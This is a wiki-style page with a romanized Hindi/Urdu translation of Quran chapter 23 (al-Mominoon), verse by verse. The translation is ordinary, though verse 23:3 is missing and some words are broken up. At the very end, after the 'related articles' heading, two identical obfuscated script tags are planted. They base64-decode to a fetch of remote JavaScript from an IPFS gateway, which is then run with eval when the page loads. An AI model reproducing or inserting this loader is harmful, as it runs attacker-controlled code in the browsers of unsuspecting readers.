अल-मोमिनून

al-mominoon islam dharm ke pavitr granth quran ka 23vaan soora (adhyay) hai jisamean 118 ayatean hoti haian.

23:1- alabatta vah eeman lane vale rastagar hue.
23:2- jo apani namazoan mean (khuda ke samane) gi dagi date haian.
23:4- aur jo zakat (ada) kiya karate haian.
23:5- aur jo (apani) sharmagahoan ko (haram se) bachate haian.
23:6- magar apani bibiyoan se ya apani zar kharid launadiyoan se ki un par haragiz ilzam nahian ho sakata.
23:7- pas jo shakhs usake siva kisi aur tarike se shahavat parasti ki tamanna kare to aise hi log had se badh jane vale haian.
23:8- aur jo apani amanatoan aur apane ehad ka lihaz rakhate haian.
23:9- aur jo apani namazoan ki pabandi karate haian.
23:10- (adami ki aulad mean) yahi log sachche varis hai.
23:11- jo behasht bari ka hissa leange (aur) yahi log isamean hamesha (jinda) raheange.
23:12- aur hamane adami ko gili mitti ke jauhar se paida kiya.
23:13- phir hamane usako ek mahaphooz jagah (aurat ke raham mean) nutfa bana kar rakha.
23:14- phir ham hi ne nutafe ko jama hua khoon banaya phir ham hi ne munajamid khoon ko gosht ka loth da banaya ham hi ne lothade qi haddiyaan banayian phir ham hi ne haddiyoan par gosht chadhaya phir ham hi ne usako (ruh dalakar) ek doosari soorat mean paida kiya to (subahan allah) khuda ba barakat hai jo sab banane valo se behatar hai.
23:15- phir isake bad yaqinan tum sab logoan ko (ek n ek din) marana hai.
23:16- isake bad kayamat ke din tum sab ke sab qabroan se uthae jaoge.
23:17- aur ham hi ne tumhare oopar tah b tah asaman banae aur ham makhalooqat se bekhabar nahi hai.
23:18- aur hamane asaman se ek andaje qe sath pani barasaya phir usako zamin mean (hasab masalehat) thaharae rakha aur ham to yaqinan usake gaeb kar dene par bhi qaboo rakhate hai.
23:19- phir hamane us pani se tumhare vaste khajooroan aur aangooroan ke bagat banae ki unamean tumhare vaste (tarah tarah ke) bahutere meve (paida hote) haian unamean se baz ko tum khate ho.
23:20- aur (ham hi ne zaitoon ka) darakht (paida kiya) jo toore saina (paha d) mean (kasarat se) paida hota hai jisase tel bhi nikalata hai aur khane valoan ke lie salan bhi hai.
23:21- aur usamean bhi shak nahian ki tumhare vaste chaupayoan mean bhi ibarat ki jagah hai aur (khak bala) jo kuchh unake pet mean hai usase ham tumako doodh pilate haian aur janavaroan mean to tumhare aur bhi bahut se phayade haian aur unhian mean se baz tum khate ho.
23:22- aur unhean janavaroan aur kashtiyoan par chadhe chadhe phirate bhi ho.
23:23- aur hamane nooh ko unaki kaaim ke pas paigambar banakar bheja to nooh ne (unase) kaha ai meri qaum khuda hi ki ibadat karo usake siva koee tumhara mabood nahian to kya tum (usase) darate nahian ho.
23:24- to unaki qaum ke saradaroan ne jo kaphir the kaha ki ye bhi to bas (akhir) tumhare hi sa adami hai (magar) isaki tamanna ye hai ki tum par burjugi hasil kare aur agar khuda (paigambar hi n bhejana) chahata to pharishtoan ko nazil karata ham ne to (bhaee) aisi bat apane agale bap dadaoan mean (bhi hoti) nahian suni.
23:25- ho n hoan bas ye ek adami hai jise junoon ho gaya hai garaz tum log ek (khas) vakt tak (isake anjam ka) intezar dekho.
23:26- nooh ne (ye batean sunakar) dua ki ai mere palane vale meri madad kar.
23:27- is vajah se ki un logoan ne mujhe jhuthala diya to hamane nooh ke pas 'vahi' bheji ki tum hamare samane hamare hukm ke mutabiq़ kashti banana shuru karo phir jab kal hamara azab a jae aur tannoor (se pani) ubalane lage to tum usamean har kism (ke janavaroan mean) se (nar mada) do do ka jo da aur apane l dake baloan ko bitha lo magar un mean se jisaki nisbat (garaq hone ka) pahale se hamara hukm ho chuka hai (unhean chho d do) aur jin logoan ne (hamare hukam se) sarakashi ki hai unake bare mean mujhase kuchh kahana (sunana) nahian kyoanki ye log yakinan doobane vale hai.
23:28- garaz jab tum apane hamarahiyoan ke sath kashti par durust baitho to kaho tamam hamdo sana ki sazavar khuda hi hai jisane hamako zalim logoan se najat di.
23:29- aur dua karo ki ai mere palane vale too mujhako (darakht ke pani ki) ba barakat jagah mean utarana aur too to sab utarane valoan se behatar hai.
23:30- isamean shak nahian ki hasamean (hamari qudarat ki) bahut si nishaniyaan haian aur hamako to bas unaka imtihan lena manzoor tha.
23:31- phir hamane unake bad ek aur qaum ko (samood) ko paida kiya.
23:32- aur hamane unahi mean se (ek adami saleh ko) rasool banakar un logoan mean bheja (aur unhoanne apani qaum se kaha) ki khuda ki ibadat karo usake siva koee tumhara mabood nahian to kya tum (usase darate nahi ho).
23:33- aur unaki qaum ke chand saradaroan ne jo kaphir the aur (roz) akhirat ki haziri ko bhi jhuthalate the aur duniya ki (chand roza) zindagi mean hamane unhean shahavat bhi de rakhi thi apas mean kahane lage (are) ye to bas tumhara hi sa adami hai jo chize tum khate vahi ye bhi khata hai aur jo chize tum pite ho unhian mean se ye bhi pita hai.
23:34- aur agar kahian tum logoan ne apane hi se adami ki itaat kar li to tum zarur ghate mean rahoge.
23:35- kya ye shakhs tumase vayada karata hai ki jab tum mar jaoge aur (mar kar) sirph mitti aur haddiyaan (banakar) rah jaoge to tum dubara zinda karake qabroan se nikale jaoge (hai hai are) jisaka tumase vayada kiya jata hai.
23:36- bilkul (akl se) door aur qayas se beed hai (do bar zinda hona kaisa) bas yahi tumhari duniya ki zindagi hai.
23:37- ki ham marate bhi haian aur jite bhi haian aur ham to phir (dubara) uthae nahian jaeange ho n ho ye (saleh) vah shakhs hai jisane khuda par jhooth mooth bohatan baandha hai.
23:38- aur ham to kabhi us par eeman lane vale nahian (ye halat dekhakar) saleh ne dua ki ai mere palane vale chooanki in logoan ne mujhe jhuthala diya.
23:39- too meri madad kar khuda ne pharamaya (ek zara thahar jao).
23:40- anaqarib hi ye log nadim v pareshan ho jaeange.
23:41- garaz unhean yaqinan ek sakht chiangha d ne le dala to hamane unhean koode qarakat (ka dher) bana chho da pas zalimoan par (khuda ki) lanat hai.
23:42- phir hamane unake bad doosari qaumoan ko paida kiya.
23:43- koee ummat apane vakt murkarar se n age badh sakati hai n (usase) pichhe hat sakati hai.
23:44- phir hamane lagatar bahut se paigambar bheje (magar) jab jab kisi ummat ka paigambar un ke pas ata to ye log usako jhuthalate the to ham thi (age pichhe) ek ko doosare ke bad (halak) karate ge aur hamane unhean (nest v nabood karake) aphasana bana diya to eeman n lane valo par khuda ki lanat hai.
23:45- phir hamane moosa aur unake bhaee harun ko apani nishaniyoan aur vazee v raushan dalil ke sath phiraun aur usake darabar ke umarao ke pas rasool bana kar bheja.
23:46- to un logo ne shekhi ki aur vah the hi b de sarakash log.
23:47- apas me kahane lage kya ham apane hi aise do adamiyoan par eeman le aean halaanki in donoan ki (qaum ki) qaum hamari khidamat gari karati hai.
23:48- garaz un logoan ne in donoan ko jhuthalaya to akhir ye sab ke sab halak kar dale ge.
23:49- aur hamane moosa ko kitab (taurait) isalie ata ki thi ki ye log hidayat paean.
23:50- aur hamane mariyam ke bete (eesa) aur unaki maan ko (apani kudarat ki nishani banaya tha) aur un donoan ko hamane ek ooanchi hamavar thaharane ke qabil chashmean vali zamin par (rahane ki) jagah di.
23:51- aur mera am hukm tha ki ai (mere paigambar) pak v pakiza chizean khao aur achchhe achchhe kam karo (kyoanki) tum jo kuchh karate ho maian usase bakhoobi vaqiph hooan.
23:52- (logoan ye din islam) tum sabaka mazahab ek hi mazahab hai aur mai tum logoan ka paravaradigar hooan.
23:53- to bas mujhi se darate raho phir logoan ne apane kam (mean ekhatilaph karake us) ko tuk de tuk de kar dala har giro jo kuchh usake pas hai usi mean nihal nihal hai.
23:54- to (ai rasool) tum un logoan ko un ki gaphalat mean ek khas vakt tak (p da) chho d do.
23:55- kya ye log ye khyal karate hai ki ham jo unhean mal aur aulad mean tarakqi de rahe hai to ham unake sath bhalaeeyaan karane mean jaldi kar rahe hai.
23:56- (aisa nahian) balki ye log samajhate nahian.
23:57- usamean shak nahian ki jo log apane paravaradigar ki vahashat se laraz rahe hai.
23:58- aur jo log apane paravaradigar ki (qudarat ki) nishaniyoan par eeman rakhate haian.
23:59- aur apane paravaradigar ka kisi ko sharik nahian banate.
23:60- aur jo log (khuda ki rah mean) jo kuchh ban p data hai dete haian aur phir unake dil ko is bat ka khataka laga hua hai ki unhean apane paravaradigar ke samane laut kar jana hai.
23:61- (dekhiye kya hota hai) yahi log alabatta nekiyoan mean jaldi karate haian aur bhalaee ki taraph (doosaroan se) lapak ke age badh jate haian.
23:62- aur ham to kisi shakhs ko usaki qoovat se badhake takaliph dete hi nahian aur hamare pas to (logoan ke amal ki) kitab hai jo bilkul thik (hal batati hai) aur un logoan ki (zarra barabar) haq talaphi nahian ki jaegi.
23:63- unake dil usaki taraph se gaphalat mean pade haian isake alava un ke bahut se amal haian jinhean ye (barabar kiya karate hai) aur baz nahian ate.
23:64- yahaan tak ki jab ham unake maladaroan ko azab mean giraphhhtar kareange to ye log vavaila karane lageange.
23:65- (us vakt qaha jaega) aj vavaila mat karoan tumako ab hamari taraph se madad nahian mil sakati.
23:66- (jab) hamari ayatean tumhare samane padhi jati thian to tum ak date qissa kahate bakate hue un se ulate paanv phir jate.
23:67- to kya un logoan ne (hamari) bat (quran) par gaur nahian kiya.
23:68- unake pas koee aisi nayi chiz ayi jo unake agale bap dadaoan ke pas nahian ayi thi.
23:69- ya un logoan ne apane rasool hi ko nahian pahachana to is vajah se inkar kar baithe.
23:70- ya kahate haian ki isako junoon ho gaya hai (haragiz use junoon nahian) balki vah to unake pas haq bat lekar aya hai aur unamean ke aksar haq bat se napharat rakhate haian.
23:71- aur agar kahian haq unaki naphasiyani khvahish ki pairavi karata hai to sare asaman v zamin aur jo log unamean haian (sabake sab) barabad ho jate balki ham to unhian ke tazakire (jibaril ke vaste se) unake pas lekar ae to yah log apane hi tazakire se muanh mo datean haian.
23:72- (ai rasool) kya tum unase (apani risalat ki) kuchh ujarat maangatean hoan to tumhare paravaradigar ki ujarat usase kahi behatar hai aur vah to sabase behatar rozi dene vala hai 23:73- aur tum to yaqinan unako sidhi rah ki taraph bulate ho.
23:74- aur isamean shak nahian ki jo log akhirat par eeman nahian rakhate vah sidhi rah se hate hue haian.
23:75- aur agar ham un par taras khayean aur jo takaliphean unako (kuphr ki vajah se) pahuanch rahi haian un ko dapha kar dean to yaqinan ye log (aur bhi) apani sarakashi par a d jae aur bhatakate phirean.
23:76- aur hamane unako azab mean giraphtar kiya to bhi ve log n to apane paravaradigar ke samane jhuke aur gi dagi daean.
23:77- yahaan tak ki jab hamane unake samane ek sakht azab ka daravaza khol diya to us vakt fauran ye log beas hokar baith rahe.
23:78- halaanki vahi vah (meharaban khuda) hai jisane tumhare lie kan aur aauankhean aur dil paida kiye (magar) tum log ho hi bahut kam shukr karane vale.
23:79- aur vah vahi (khuda) hai jisane tum ko rue zamin mean (har taraph) phaila diya aur phir (ek din) sab ke sab usi ke samane ikatthe kiye jaoge.
23:80- aur vahi vah (khuda) hai jo jilata aur marata hai ki aur rat din ka pher badal bhi usi ke ekhtiyar mean hai to kya tum (itana bhi) nahian samajhate.
23:81- (in batoan ko samajhean khak nahian) balki jo agale log kahate ae vaisi hi bat ye bhi kahane lage.
23:82- ki jab ham mar jaeangean aur (marakar) mitti (ka dher) aur haddiyaan ho jaeangean to kya ham phir dobara (kraboan se zinda karake) nikale jaeange.
23:83- isaka vayada to hamase aur hamase pahale hamare bap dadaoan se bhi (bar ha) kiya ja chuka hai ye to bas sirph agale logoan ke dhakosale haian.
23:84- (ai rasool) tum kah do ki bhala agar tum log kuchh janate ho (to batao) ye zamin aur jo log isamean haian kis ke haian vah phauran javab degean khuda ke 23:85- tum kah do ki to kya tum ab bhi gaur n karoge.
23:86- (ai rasool) tum unase poochho to ki satoan asamanoan ka malik aur (itane) b de arsh ka malik kaun hai to phauran javab degean ki (sab kuchh) khuda hi ka hai.
23:87- ab tum kaho to kya tum ab bhi (usase) nahian daroge.
23:88- (ai rasool) tum unase poochho ki bhala agar tum kuchh janate ho (to batao) ki vah kaun shakhs hai- jisake ekhteyar mean har chiz ki badashahat hai vah (jise chahata hai) panah deta hai aur us (ke azab) se panah nahian di ja sakati.
23:89- to ye log phauran bol utheange ki (sab ekhteyar) khuda hi ko hai- ab tum kah do ki tum par jadoo kahaan kiya jata hai.
23:90- bat ye hai ki hamane unake pas haq bat pahuancha di aur ye log yaqinan jhoothe haian.
23:91- n to allah ne kisi ko (apana) beta banaya hai aur n usake sath koee aur khuda hai (agar aisa hota) us vakt har khuda apane apane makhalooq ko lie lie phirata aur yaqinan ek doosare par chadhaee karata.
23:92- (aur khoob jang hoti) jo jo bate ye log (khuda ki nisbat) bayan karate haian us se khuda pak v pakiza hai vah poshida aur hazir (sabase) khuda vaqiph hai garaz vah unake shirk se (bilkul pak aur) balatar hai.
23:93- (ai rasool) tum dua karo ki ai mere palane vale jis (azab) ka toone unase vayada kiya hai agar shayad too mujhe dikhae.
23:94- to paravaradigar mujhe un zalim logoan ke hamarah n karana.
23:95- aur (ai rasool) ham yaqinan is par qadir haian ki jis (azab) ka ham unase vayada karate haian tumhean dikha dean.
23:96- aur buri bat ke javab mean aisi bat kaho jo nihayat achchhi ho jo kuchh ye log (tumhari nisbat) bayan karate haian usase ham khoob vaqiph haian.
23:97- aur (ye bhi) dua karo ki ai mere palane vale mai shaitan ke vasavasoan se teri panah maangata hooan.
23:98- aur ai mere paravaradigar isase bhi teri panah maangata hooan ki shayatin mere pas aean.
23:99- (aur kuphfar to manegean nahian) yahaan tak ki jab unamean se kisi ko maut ayi to kahane lage paravaradigar too mujhe (ek bar) us muqam (duniya) mean chho d aya hooan phir vapas kar de taki mai (apaki dafa) achchhe achchhe kam karooan.
23:100- (javab diya jaega) haragiz nahian ye ek lago bat hai- jise vah bak raha aur unake (marane ke) bad (alame) barazakh hai.
23:101- (jahaan) qabroan se uthae jaeangean (rahana hoga) phir jis vakt soor phooanka jaega to us din n logoan mean qarabat dariyaan rahegi aur n ek doosare ki bat poochheange.
23:102- phir jin (ke nekiyoan) ke pallean bhari hogean to yahi log kamayab hoange.
23:103- aur jin (ke nekiyoan) ke pallean halke hoange to yahi log hai jinhoanne apana nuqasan kiya ki hamesha jahannum mean raheange.
23:104- aur (unaki ye halat hogi ki) jahannum ki ag unake muanh ko jhulasa degi aur log muanh banae hue hoange.
23:105- (us vakt ham poochheangean) kya tumhare samane meri ayatean n padhi gayian thian (zarur padhi gayi thian) to tum unhean jhuthalaya karate the.
23:106- vah javab degean ai hamare paravaradigar hamako hamari kambakhti ne azamaya aur ham gumarah log the.
23:107- paravaradigar hamako (abaki dapha) kisi tarah is jahannum se nikal de phir agar dobara ham aisa karean to alabatta ham kusooravar haian.
23:108- khuda pharamaega door ho isi mean (tum ko rahana hoga) aur (bas) mujh se bat n karo.
23:109- mere bandoan mean se ek giroh aisa bhi tha jo (barabar) ye dua karata tha ki ai hamare palane vale ham eeman lae to too hamako bakhsh de aur ham par raham kar too to tamam raham karane valoan se behatar hai.
23:110- to tum logoan ne unhean masakhara bana liya-yahaan tak ki (goya) un logoan ne tum se meri yad bhula di aur tum un par (barabar) hansate rahe.
23:111- maine aj unako unake sabr ka achchha badala diya ki yahi log apani (khatirakhvah) murad ko pahuanchane vale haian.
23:112- (phir unase) khuda poochhega ki (akhir) tum zamin par kitane baras rahe.
23:113- vah kaheangean (baras kaisa) ham to bas poora ek din rahe ya ek din se bhi kam.
23:114- to tum shumar karane valoan se poochh lo khuda pharamaega beshak tum (zamin mean) bahut hi kam thahare kash tum (itani bat bhi duniya mean) samajhe hote.
23:115- to kya tum ye khyal karate ho ki hamane tumako (yooan hi) bekar paida kiya aur ye ki tum hamare huzoor mean lauta kar n lae jaoge.
23:116- to khuda jo sachcha badashah (har chiz se) baratar v ala hai usake siva koee mabood nahian (vahian) arsh burjug ka malik hai.
23:117- aur jo shakhs khuda ke sath doosare mabood ki bhi parasatish karega usake pas is shirk ki koee dalil to hai nahian to bas usaka hisab (kitab) usake paravaradigar hi ke pas hoga (magar yad rahe ki kuphfar haragiz phal aauh pane vale nahian).
23:118- aur (ai rasool) tum kah do paravaradigar too (meri ummat ko) bakhsh de aur taras kha aur too to sab raham karane valoan se behatar hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• al mominoon
• Surah Ta-Ha / সূরা ত্বোয়া-হা

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>